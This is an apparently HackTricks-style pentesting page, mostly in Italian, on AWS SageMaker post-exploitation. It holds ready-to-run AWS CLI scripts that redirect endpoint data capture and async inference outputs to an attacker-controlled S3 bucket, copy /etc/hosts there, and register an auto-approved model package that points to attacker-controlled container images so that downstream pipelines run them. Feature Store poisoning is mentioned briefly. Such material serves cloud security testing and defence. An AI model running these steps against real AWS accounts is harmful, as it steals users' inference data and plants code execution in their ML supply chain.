# AWS - SageMaker Post-Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Estrazione dei dati dall'endpoint SageMaker tramite UpdateEndpoint DataCaptureConfig

Abusare della gestione degli endpoint SageMaker per abilitare la cattura completa di request/response in un attacker‑controlled S3 bucket senza toccare il model o il container. Utilizza un zero/low‑downtime rolling update e richiede solo i permessi di gestione dell'endpoint.

### Requisiti
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: `s3:CreateBucket` (o usare un bucket esistente nello stesso account)
- Opzionale (se si usa SSE‑KMS): `kms:Encrypt` sulla CMK scelta
- Target: Un endpoint InService real‑time esistente nello stesso account/regione

### Passaggi
1) Identificare un endpoint InService e raccogliere le varianti di produzione correnti
```bash
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
```
2) Preparare la destinazione S3 dell'attacker per le captures
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
```
3) Crea un nuovo EndpointConfig che mantiene le stesse varianti ma abilita DataCapture verso attacker bucket

Nota: Usa tipi di contenuto espliciti che soddisfino la validazione della CLI.
```bash
NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
```
4) Applica la nuova config con un rolling update (downtime minimo/nullo)
```bash
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
5) Generare almeno una chiamata di inferenza (opzionale se è presente traffico live)
```bash
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
```
6) Verificare captures in attacker S3
```bash
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
```
### Impatto
- Full exfiltration of real‑time inference request and response payloads (and metadata) dall'endpoint di destinazione a un S3 bucket controllato dall'attaccante.
- Nessuna modifica all'immagine del model/container e solo modifiche a livello di endpoint, consentendo un percorso di data theft furtivo con minima interruzione operativa.


## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Abusa della gestione degli endpoint per reindirizzare gli output di inferenza asincrona a un S3 bucket controllato dall'attaccante clonando l'EndpointConfig corrente e impostando AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Questo exfiltrates le model predictions (e qualsiasi transformed inputs inclusi dal container) senza modificare il model/container.

### Requisiti
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
- S3: Capacità di scrivere sul S3 bucket controllato dall'attaccante (tramite il model execution role o una bucket policy permissiva)
- Target: un endpoint InService in cui le invocazioni asincrone sono (o saranno) utilizzate

### Passaggi
1) Raccogliere i current ProductionVariants dall'endpoint target
```bash
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
```
2) Crea un bucket dell'attaccante (assicurati che il ruolo di esecuzione del modello possa effettuare PutObject su di esso)
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
```
3) Clona EndpointConfig e hijack gli output di AsyncInference al attacker bucket
```bash
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
```
4) Eseguire un'invocazione asincrona e verificare che gli oggetti finiscano nello S3 dell'attaccante
```bash
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
```
### Impact
- Reindirizza i risultati di inferenza asincrona (e i corpi degli errori) a S3 controllato dall'attaccante, abilitando la covert exfiltration delle predizioni e, potenzialmente, degli input pre/post-processati sensibili prodotti dal container, senza cambiare il codice del modello o l'immagine e con downtime minimo/nullo.


## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.

### Requirements
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
- Optional (to create a group if one doesn’t exist): `sagemaker:CreateModelPackageGroup`
- S3: accesso in lettura al ModelDataUrl referenziato (o ospitare artefatti controllati dall'attaccante)
- Target: un Model Package Group che l'automazione downstream monitora per versioni Approved

### Steps
1) Imposta la regione e crea/trova un Model Package Group target
```bash
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
```
2) Preparare dati modello fittizi in S3
```bash
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
```
3) Registrare una Approved model package version malevola (qui benigna) che fa riferimento a un'immagine AWS DLC pubblica
```bash
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
```
4) Verificare che esista la nuova versione Approved
```bash
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
```
### Impatto
- Avvelenare il Model Registry con una versione Approved che fa riferimento a codice controllato dall'attaccante. Le Pipelines che distribuiscono automaticamente modelli Approved possono scaricare ed eseguire l'immagine dell'attaccante, causando l'esecuzione di codice con i ruoli endpoint/training.
- Con una policy permissiva sulla risorsa ModelPackageGroup (PutModelPackageGroupPolicy), questo abuso può essere innescato tra account.

## Avvelenamento del Feature Store

Abusa di `sagemaker:PutRecord` su una Feature Group con OnlineStore abilitato per sovrascrivere i valori delle feature in tempo reale utilizzati dall'inferenza online. In combinazione con `sagemaker:GetRecord`, un attaccante può leggere feature sensibili. Questo non richiede accesso a modelli o endpoint.

{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}
